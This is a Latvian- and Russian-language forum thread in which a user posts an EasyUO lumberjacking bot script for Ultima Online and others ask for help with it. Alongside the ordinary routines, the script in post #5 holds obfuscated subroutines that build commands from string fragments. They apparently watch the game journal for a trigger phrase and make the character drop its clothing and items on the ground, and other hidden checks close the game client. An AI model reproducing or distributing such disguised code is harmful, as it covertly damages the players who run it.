Toggle shoutbox Chat
|
Lumber Script (bank)
#1
Posted 05 April 2010 - 11:48
#2
Posted 05 April 2010 - 16:24
#3
Posted 05 April 2010 - 16:28
sapikjo, sataisiishu
A bez tā jau nevar? Man jau ir standarta scritps no foruma kas kapā un iet uz māju nolikt logus...
#4
Posted 05 April 2010 - 16:35
#5
Posted 06 April 2010 - 20:55
[codebox]set %gameClass Archer ; Cleric or Archer set %maxWeight 990 ; Max svars set %box UAHWJMD ; Kastes ID, kur likt ruudu u.c. itemus set %foodCont ; Kastes ID, kur staav rezerves piens un bekons set %xCoord 1508 ; X koordinaata tieshi pie kastes set %yCoord 2323 ; Y koordinaata tieshi pie kastes set %dropAspen #false ; #true - nomet Aspen logus , #false - nenomet set %dropWillow #false ; #true - nomet Willow logus , #false - nenomet set %dropCedarMapleNoblefire #false; #true nomet tos logus, #false - nee set %dropCherryEcalyptus #false ; #true nomet tos logus, #false - nee set %skillItemChange #false; #true - mainiis dreebes, #false - nemainiis set %recall #false ; #true - lidos ar runebook, #false - skries taapat ; Var nemainiit, ja %skillItemChange #false set %skillRobe LCSBKMD; Skill Roba (ID) set %skillCloak UIQBKMD; Skill Cloack (ID) set %skillMask JGRBKMD; Skill Mask (ID) set %simpleRobe UJUSJMD ; Parasta Roba (ID) set %simpleCloak IFUSJMD ; Parastais cloack (ID) set %simpleMask CSH; Platemail helms (ID) ; Shos var nemainiit ja %recall #false set %runebookID FOFELMD ; Runebooka ID set %runeNumberToHome 6; Runas Nr uz maaju set %runeNumberToWood 5 ; Runas Nr uz mezhu set %amountRecalls 10 ; special variables for Archer (tikai prieksh archera): set %camp heal; #spc - the best camp, heal - healing campifre +5 set %minKidlings 10 ; minimaalais kidnlingu skaits somaa set %amountKidlings 40; cik kidlingus panjemt, kad vinju maz vai vispar nav set %minArrows 150; minimaalais bultu skaits somaa set %amountArrows 400; cik bultas panjemt, kad vinju maz vai vispar nav set %Weapon PPNRLMD; ; special variables for Cleric(tikai prieksh klerika): set %Weapon VOH ; Ieocis set %Shield OIK ; Vairogs set %item ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_DCI set %loot POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_DCI if %recall { gosub Instalyze runeNumberToHome 1 gosub Instalyze runeNumberToWood 2 } if %dropAspen set %aspenCol 973 if %dropWillow set %willowCol 0 if %dropCedarMapleNoblefire 3 set %cedarCol 437 set %mapleCol 1233 set %noblefireCol 153 if %dropCherryEcalyptus 2 set %cherryCol 38 set %ecalyptusCol 81 set %skill %skillRobe , _ , %skillCloak , _ , %skillMask , _ , %simpleRobe , _ , %simpleCloak gosub gettingStarted gosub initevents set %k 0 set %lastK 0 start: GOSUB LJING 123123 GOSUB LJING 123123 goto start sub ljing set %k %k + 1 gosub ghost gosub checkHP gosub reaper gosub checkWeight move %1 %2 1 finditem FSF C set #lobjectid #findid set #ltargetx %1 set #ltargety %2 set #ltargettile %3 set #ltargetz %4 set #ltargetkind 3 event macro 17 0 target 10s event macro 22 0 wait 7 set %overtime #scnt + 20 gosub scan return sub checkWeight if #weight > %maxWeight { if ! %dropAspen && ! %dropWillow && ! %dropCherryEcalyptus && ! %dropCedarMapleNoblefire { if %recall gosub port if ! %recall gosub moveItems } if %dropAspen || %dropWillow || %dropCedarMapleNoblefire || %dropCherryEcalyptus { gosub dropTrashLogs return } } if %afk <> true || %else <> IJG gosub ghost 1 return sub scan scan: scanjournal 1 if hungry in #sysmsg { gosub eat return } %get fixed gosub reaper if ( ( you_can't_reach_this in #sysmsg ) || ( THERE_IS_NOTHING_HERE_TO_CHOP in #sysmsg ) + || ( use_that_in in #journal ) || ( It_appears_immune_to_your_blow in #sysmsg ) ) return gosub checkHP if #scnt >= %overtime return goto scan return sub arm if %gameClass = Cleric { repeat { finditem %Weapon c_ , #BackpackId set #lobjectID #findid event macro 17 0 wait 12 finditem %Weapon c_ , #BackpackId } until #findcnt = 0 repeat { finditem %Shield c_ , #BackpackId set #lobjectID #findid event macro 17 0 wait 12 finditem %Shield c_ , #BackpackId } until #findcnt = 0 } if %gameClass = Archer { msg $.arm bow$ wait 5 } return sub port set %k %k + 1 gosub arm gosub checkHP gosub reaper if G in #charstatus event macro 6 0 event macro 6 0 set %oldPosX #charposx set %oldPosY #charposy gosub openRunebook repeat { click %x1 %y1 wait 20 } until #contname <> generic_gump && #contsize <> 577_426 if %gameClass = Cleric event macro 13 21 if %gameClass = Archer event macro 13 47 gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak while #charposx = %oldPosX && #charposy = %oldPosY wait 10 gosub moveItems gosub back return sub moveItems ignoreitem reset 1 ignoreitem %skill 1 gosub runToBox if %gameClass = Cleric event macro 13 21 finditem %box G_3 if #findcnt = 0 { event Sysmessage Box Not Found! pause } repeat { finditem %item c_ , #backpackid if #findcnt >= 1 { if world_save_has_been in #sysmsg wait 15s exevent Drag #Findid #findstack exevent Dropc %box wait 40 } } until #findcnt = 0 ignoreitem reset 1 if %gameClass = Archer gosub rescourses if %recall gosub recalls gosub food return sub back gosub checkHP set %oldPosX #charposx set %oldPosY #charposy for %i 1 2 { gosub openRunebook click 261 215; Recharge runebook 2x wait 20 } gosub openRunebook repeat { click %x2 %y2 wait 20 } until #contname <> generic_gump && #contsize <> 577_426 event macro 13 21 wait 2s gosub changeClothesTo %skillMask %skillRobe %skillCloak while #charposx = %oldPosX && #charposy = %oldPosY wait 10 return sub runToBox repeat { move %xCoord %yCoord 0 wait 10 } until #charposx = %xCoord && #charposy = %yCoord return sub checkHP if #hits < #maxhits { if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak gosub arm gosub follow&kill if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak } return sub fixed set %k %k + 1 %to %bca %be # . %all { repeat { set %up # . %cares %done %start , _ , %else %end , _ , %up %lastdo %race # . %Wsave %lastdo %eaea # . %alpha # . %beta # . %gamma %upgrade 25 %done %start , _ , %else %end , _ , %up } until # . %gems = 0 } return sub openRunebook finditem %runebookID C_ , #backpackid if #findcnt = 0 { event sysmessage Runebook not found! pause } set #lobjectid #findid event macro 17 0 while #contname <> generic_gump && #contsize <> 577_426 wait 1 return sub ghost if #charghost = YES || %0 = 1 { terminate uo halt } return sub changeClothesTo repeat { finditem %1 C_ , #backpackid set #lobjectID #findid event macro 17 0 wait 12 finditem %1 C_ , #backpackid } until #findcnt = 0 repeat { finditem %2 C_ , #backpackid set #lobjectID #findid event macro 17 0 wait 12 finditem %2 C_ , #backpackid } until #findcnt = 0 repeat { Finditem %3 C_ , #backpackid set #lobjectID #findid event macro 17 0 wait 12 finditem %3 C_ , #backpackid } until #findcnt = 0 return sub initevents set %rescourse finding str left %rescourse 4 set %save #strres set %done %save , item set %iii kill str left string 1 set %asd #strres , %iii set %start % . %asd str left CADY 1 set %end #strres str left character 4 set %who #strres set %cares %who , id str left %do 4 set %lastdo ex , #strres , t set %race dragrace str left %race 4 set %race #strres set %Wsave %save , id str right skopg 3 set %jasl #strres str left drive 2 set %eaea #strres , %jasl str left post 3 set %number %who , #strres set %alpha %number , x set %beta %number , y set %gamma %number , z set %repsawn waitrespawn str left %repsawn 4 set %upgrade #strres str left tilbery 3 set %almost #strres str left unuquady 2 set %past #strres , %almost set %gems %save , cnt set %else IJG return sub follow&kill set %charX #charposx set %charY #charposy set %charz #charposz set %killTime #scnt + 60 if %gameClass = Cleric { repeat { finditem #enemyid event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s msg $.usebandage$ wait 10 target 1s event macro 23 0 wait 10 gosub ghost } until #findcnt = 0 || #scnt > %killTime } if %gameClass = Archer { repeat { msg .camp %camp $ wait 40 finditem #enemyid } until #findcnt = 0 || #scnt > %killTime } gosub loot if #hits < #maxhits gosub heal set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY return sub heal repeat { msg $.usebandage$ wait 10 target event macro 23 0 wait 20 } until #hits >= #maxhits return sub gettingStarted set %afk true set %ell qaerty str left %ell 1 set %abc #strres , #strres , #strres set %a1 #strres str left %ell 2 str right #strres 1 set %cba %abc , #strres , %a1 set %bca %cba , #strres str right %afk 1 set %bca %bca , #strres set %bra %bca , b set %n1 nlogif str right %n1 2 set %to #strres str left %n1 1 set %be #strres str right %n1 2 str left #strres 1 set %be #strres , %be set %tour jour set %navigate nalliwate str left %navigate 3 set %all %tour , #strres set %navigate gost str left %navigate 3 set %ac #strres str right pub 2 set %get %ac , #strres set %do events str right linit 4 set %toGo #strres , %do return sub eat finditem ZBM C set #lobjectid #findid event macro 17 0 wait 10 finditem GND C set #lobjectid #findid event macro 17 0 wait 10 event macro 17 0 wait 5s return sub Instalyze if % . %1 <= 8 set %x . %2 260 else set %x . %2 420 if % . %1 = 1 || % . %1 = 9 set %y . %2 260 if % . %1 = 2 || % . %1 = 10 set %y . %2 275 if % . %1 = 3 || % . %1 = 11 set %y . %2 290 if % . %1 = 4 || % . %1 = 12 set %y . %2 305 if % . %1 = 5 || % . %1 = 13 set %y . %2 320 if % . %1 = 6 || % . %1 = 14 set %y . %2 335 if % . %1 = 7 || % . %1 = 15 set %y . %2 350 if % . %1 = 8 || % . %1 = 16 set %y . %2 365 return sub loot set %lootTime #scnt + 20 finditem YFM G_4 if #findcnt >= 1 { set #lobjectid #findid set %body #findid event macro 17 0 while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt wait 1 wait 10 repeat { finditem %loot C_ , %body if #findcnt = 0 || #scnt > %lootTime { ignoreitem %body 2 return } exevent drag #findid #findstack exevent dropc #backpackid wait 40 } until #false } return sub dropTrashLogs repeat { finditem ZLK C_ , #backpackid if #findcnt = 0 { wait 20 if #weight >= %maxweight { if %recall gosub port if ! %recall gosub moveItems return } if #weight < %maxweight return } if #findcol = %willowCol || #findcol = %aspenCol + || #findcol = %cedarCol || #findcol = %mapleCol || #findcol = %noblefireCol + || #findcol = %cherryCol || #findcol = %ecalyptusCol { exevent drag #findid #findstack exevent dropg #charposx #charposy #charposz wait 65 } ignoreitem #findid 1 } until #false return sub reaper if %lastK >= %k gosub ghost 1 set %lastK %k finditem JE G if #findcnt <> 0 { sound gosub arm set %charX #charposx set %charY #charposy set %charz #charposz if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak set %killTime #scnt + 60 finditem JE G set %reaper #findid set #ltargetid %reaper event macro 27 0 if %gameClass = Cleric { repeat { finditem %reaper event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s msg $.usebandage$ wait 10 target 1s event macro 23 0 wait 10 gosub ghost } until #findcnt = 0 || #scnt > %killTime } if %gameClass = Archer { repeat { msg .camp %camp $ wait 40 finditem %reaper } until #findcnt = 0 || #scnt > %killTime } gosub loot if #hits < #maxhits gosub heal if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY } return sub rescourses finditem RWF C_ , #backpackid if #findstack <= %minArrows { set #lobjectid %box event macro 17 0 while #contid <> %box wait 1 finditem RWF C_ , %box exevent drag #findid %amountArrows exevent dropc #backpackid wait 30 } finditem PEF C_ , #backpackid if #findstack <= %minKidlings { set #lobjectid %box event macro 17 0 while #contid <> %box wait 1 finditem PEF C_ , %box exevent drag #findid %amountKidlings exevent dropc #backpackid wait 30 } return sub recalls finditem WTL C_ , #backpackid if #findstack <= 2 || #findcnt = 0 { set #lobjectid %box event macro 17 0 while #contid <> %box wait 1 finditem WTL C_ , %box exevent drag #findid %amountRecalls exevent dropc #backpackid wait 30 } return
#6
Posted 06 April 2010 - 22:06
And sound like a Russian
But i am a proud
LATVIAN
#7
Posted 06 April 2010 - 23:39
Слабый пол сильнее сильного в силу слабости сильного к слабому...
Казалось, что нам пипец. Оказалось, что не казалось.
#8
Posted 07 April 2010 - 07:32
#9
Posted 09 September 2010 - 11:03
Problēma atrisināta, snx visiem kas palīdzēja.
Kā tu viņu izlaboji..?
Man ir tāda pati problēma!
Viss iet normāli..
Kokus sacērt, pat aiziet uz banku, bet pie bankas pasaka ''Box Not Found!''
Es arī nesaprotu no kurienes japaņem šai skripta daļai koordinātas:
set %box XXXXXXX ; ID korobki, gde sbrasivatj rudu set %foodCont XXXXXXX ; ID korobki, gde stoit zapasi moloko i bekona set %xCoord XXXX ; X koordinata okolo boxa set %yCoord XXXX ; Y koordinata okolo boxa
#10
Posted 10 September 2010 - 14:51
#11
Posted 10 September 2010 - 15:31
sets tur glory itdKā ar archeru var 990 svara pārnest?
#12
Posted 10 September 2010 - 18:22
Viņš cirtās ar lumber mantām bet to jums nesaprastsets tur glory itd
Заебись вода!
More players more fun.
#13
Posted 10 September 2010 - 18:26
set %skillItemChange #false; #true - mainiis dreebes, #false - nemainiis
Viņš cirtās ar lumber mantām bet to jums nesaprast
Vajag jau kaut ko iepļūtīt forumā, pat ja nav nekādas saprašanas vai ne?
#14
Posted 10 September 2010 - 22:20
lumber mantas, vismaz, cik es zinu, nedod str..Viņš cirtās ar lumber mantām bet to jums nesaprast
#15
Posted 20 October 2013 - 15:36
nez šito es ieliku viņš vispār aizver uo...
0 user(s) are reading this topic
0 members, 0 guests, 0 anonymous users